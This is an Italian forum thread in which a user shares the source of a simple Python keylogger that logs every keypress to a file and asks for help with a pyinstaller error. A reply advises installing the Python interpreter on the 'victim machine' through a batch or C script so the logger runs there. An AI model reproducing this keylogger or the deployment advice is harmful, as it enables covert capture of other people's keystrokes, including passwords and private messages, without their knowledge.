Domanda Errore eseguendo un file .exe compilato con pyinstaller

Maxwell2609

Utente Silver
29 Ottobre 2020
101
21
23
56
Salve, ho da poco scritto un semplice Keylogger in Python, e l'ho dunque reso eseguibile con pyinstaller inserendo il comando: pyinstaller Keylogger.py --onefile . Il tutto è filato liscio fino a quando ho avviato il programma eseguibile. Se lo apro tramite GUI, come con la maggior parte dei software Windows, si apre un terminale per qualche secondo senza restituire nessun tipo di output. Se invece lo avvio tramite terminale ( Keylogger.exe ) viene restituito il seguente errore: Traceback (most recent call last): File "Keylogger.py", line 1, in <module> from pynput.keyboard import Listener File "c:\users\pc\appdata\local\programs\python\python37-32\lib\site-packages\PyInstaller\loader\pyimod03_importers.py", line 627, in exec_module exec(bytecode, module.__dict__) File "site-packages\pynput\__init__.py", line 40, in <module> File "c:\users\pc\appdata\local\programs\python\python37-32\lib\site-packages\PyInstaller\loader\pyimod03_importers.py", line 627, in exec_module exec(bytecode, module.__dict__) File "site-packages\pynput\keyboard\__init__.py", line 31, in <module> File "site-packages\pynput\_util\__init__.py", line 82, in backend ImportError [2064] Failed to execute script Keylogger

La cosa strana è che eseguendolo come debug in Visual Studio Code, funziona perfettamente.
Ecco il codice dello script:
Python:
from pynput.keyboard import Listener
 

percorso = r"Log.txt"
def writeonfile(key):
    with open(percorso,"a") as f:
        f.write(str(key))




with Listener(on_press=writeonfile) as l:
    l.join()

Qualcuno sa come aiutarmi? Grazie.
 

WW313NET

Utente Silver
21 Novembre 2020
159
24
23
69
Pyinstaller non sempre funziona, prova ad incorporare pynput oppure fai uno script batch o C che runna installa l'interprete nella macchina vittima e poi fai eseguire lo script .py, comunque credo che il percorso r"log.txt" sia sbagliato, prova a mettere r"C://log.txt"